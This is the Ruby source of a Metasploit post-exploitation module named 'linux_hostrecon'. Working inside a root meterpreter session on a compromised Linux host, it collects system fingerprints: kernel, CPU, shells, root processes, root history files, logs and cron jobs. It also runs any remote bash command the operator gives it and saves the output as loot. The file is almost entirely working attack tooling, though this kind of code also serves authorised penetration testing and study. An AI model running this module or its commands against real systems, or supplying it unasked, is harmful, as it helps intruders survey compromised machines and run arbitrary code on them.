linux_hostrecon V1.0

#
# Metasploit Module librarys to load ..
#
require 'rex'
require 'msf/core'
require 'msf/core/post/common'



#
# Metasploit Class name and mixins ..
#
class MetasploitModule < Msf::Post
      Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System



#
# The 'def initialize()' funtion ..
# Building Metasploit/Armitage info GUI/CLI description
#
        def initialize(info={})
                super(update_info(info,
                        'Name'          => 'linux hostrecon post-module (fingerprints)',
                        'Description'   => %q{
                                        This module gathers target system information (linux distros) display outputs and stores it into a logfile in msf4/loot folder.
                        },
                        'License'       => UNKNOWN_LICENSE,
                        'Author'        =>
                                [
                                        'Module Author: pedr0 Ubuntu [r00t-3xp10it]', # post-module author :D
                                ],

                        'Version'        => '$Revision: 1.0',
                        'DisclosureDate' => 'set 17 2017',
                        'Platform'       => 'linux',
                        'Arch'           => 'x86_x64',
                        'Privileged'     => 'true',  # root privileges required?
                        'Targets'        =>
                                [
                                         [ 'Linux' ]
                                ],
                        'DefaultTarget'  => '1', # default its to run againts linux targets
                        'References'     =>
                                [
                                         [ 'URL', 'http://goo.gl/RzP3DM' ],
                                         [ 'URL', 'https://github.com/r00t-3xp10it' ],
                                         [ 'URL', 'https://github.com/r00t-3xp10it/msf-auxiliarys' ],
                                         [ 'URL', 'http://rapid7.github.io/metasploit-framework/api/' ]
                                ],
            'DefaultOptions' =>
                {
                    'SESSION' => '1',   # Default its to run againts session 1
                },
                        'SessionTypes'   => [ 'meterpreter' ]

                ))

                register_options(
                        [
                                OptString.new('SESSION', [ true, 'The session number to run this module on'])
                        ], self.class)

                register_advanced_options(
                        [
                                OptBool.new('STORE_LOOT', [false, 'Store dumped data to msf4/loot folder?', false]),
                                OptBool.new('AGRESSIVE_DUMP', [false, 'Agressive system fingerprints scan?', false]),
                                OptString.new('SINGLE_COMMAND', [false, 'The bash command to execute remotelly'])
                        ], self.class)

        end





def run
  session = client

  print_line("+----------------------------+")
  print_line("|LINUX HOSTRECON POST-MODULE |")
  print_line("|   Author : r00t-3xp10it    |")
  print_line("+----------------------------+")

    #
    # check for proper target operative system (Linux)
    #
    unless sysinfo['OS'] =~ /Linux/ || sysinfo['OS'] =~ /linux/
      print_error("[ABORT]: This module only works againt Linux systems")
      return nil
    end
    #
    # Check if we are running in an higth integrity context (root)
    #
    target_uid = client.sys.config.getuid
    unless target_uid =~ /uid=0/ || target_uid =~ /root/
      print_error("[ABORT]: root access is required in target system ..")
      return nil
    end
    #
    # check for proper session (meterpreter)
    # the non-return of sysinfo command reveals that we are not on a meterpreter session!
    #
    if not sysinfo.nil?
      print_status("Running module against: #{sysinfo['Computer']}")
    else
      print_error("[ABORT]: This module only works in meterpreter sessions!")
      return nil
    end



      #
      # Dump system information from target system (fingerprints)
      #
      data_dump=''
      print_status("Executing list of commands remotelly ..")
      Rex::sleep(0.5)
      # bash commands to be executed remotelly ..
      current_shell = cmd_exec("echo $0")
      distro_uname = cmd_exec("uname -a")
      hardware_info = cmd_exec("lscpu | grep 'Architecture'; lscpu | grep 'CPU op-mode'; lscpu | grep 'Vendor ID'")
      distro_shells = cmd_exec("grep '^[^#]' /etc/shells")
        #
        # Store data into an variable (data_dump) ..
        # to be able to write the logfile and display the outputs ..
        #
        data_dump << "\n\n"
        data_dump << "Running on session  : #{datastore['SESSION']}\n"
        data_dump << "Client UID          : #{target_uid}\n"
        data_dump << "DISTRO UNAME        : #{distro_uname}\n"
        data_dump << "\n\n"
        data_dump << "HARDWARE INFO\n"
        data_dump << "-------------\n"
        data_dump << hardware_info
        data_dump << "\n\n"
        data_dump << "CURRENT SHELL\n"
        data_dump << "-------------\n"
        data_dump << current_shell
        data_dump << "\n\n"
        data_dump << "AVAILABLE SHELLS\n"
        data_dump << "----------------\n"
        data_dump << distro_shells
        data_dump << "\n\n"



        #
        # Run agressive scans againts target ..
        # if sellected previous in advanced options (set AGRESSIVE_DUMP true) ..
        #
        if datastore['AGRESSIVE_DUMP'] == true
          print_status("Running agressive fingerprint modules ..")
          Rex::sleep(0.5)
          # bash commands to be executed remotelly ..
          root_services = cmd_exec("ps -aux | grep '^root'")
          distro_history = cmd_exec("ls -la /root/.*_history")
          distro_logs = cmd_exec("find /var/log -type f -perm -4")
          cron_tasks = cmd_exec("ls -la /etc/cron*")
            #
            # store data into an variable (data_dump) ..
            # to be able to write the logfile and display the outputs ..
            #
            data_dump << "ROOT SERVICES RUNNING\n"
            data_dump << "---------------------\n"
            data_dump << root_services
            data_dump << "\n\n"
            data_dump << "LIST OF HISTORY FILES\n"
            data_dump << "---------------------\n"
            data_dump << distro_history
            data_dump << "\n\n"
            data_dump << "LIST OF LOGFILES FOUND\n"
            data_dump << "----------------------\n"
            data_dump << distro_logs
            data_dump << "\n\n"
            data_dump << "CRONTAB TASKS\n"
            data_dump << "-------------\n"
            data_dump << cron_tasks
            data_dump << "\n\n"
        end



        #
        # Single_command to execute remotelly (user inputs) ..
        # if sellected previous in advanced options (set SINGLE_COMMAND netstat -ano) ..
        #
        exec_bash = datastore['SINGLE_COMMAND']
        # check if single_command option its configurated ..
        if not exec_bash.nil?
          print_status("Executing user input remote bash command ..")
          Rex::sleep(0.5)
          # bash command to be executed remotelly ..
          single_comm = cmd_exec("#{exec_bash}")
            print_status("Storing scan results into msf database ..")
            Rex::sleep(0.5)
            #
            # store data into a local variable (data_dump) ..
            # to be able to write the logfile and display the outputs ..
            #
            data_dump << "+--------------------------+\n"
            data_dump << "|  COMMAND EXECUTED OUTPUT |\n"
            data_dump << "+--------------------------+\n"
            data_dump << "\n\n"
            data_dump << single_comm
            data_dump << "\n\n"
        end



       #
       # All scans finished ..
       # Displaying results on screen (data_dump) ..
       #
       print_status("Remote scans completed, building list ..")
       Rex::sleep(1.0)
       # print the contents of 'data_dump' variable ..
       print_line(data_dump)
       Rex::sleep(0.5)



     #
     # Store 'data_dump' contents into msf loot folder? (local) ..
     # IF sellected previous in advanced options (set STORE_LOOT true) ..
     #
     if datastore['STORE_LOOT'] == true
       print_warning("Fingerprints stored under: ~/.msf4/loot directory")
       store_loot("linux_hostrecon", "text/plain", session, data_dump, "linux_hostrecon.txt", "linux_hostrecon")
       Rex::sleep(0.5)
     end


   #
   # end of the 'def run()' funtion ..
   #
   end
#
# exit module execution ..
#
end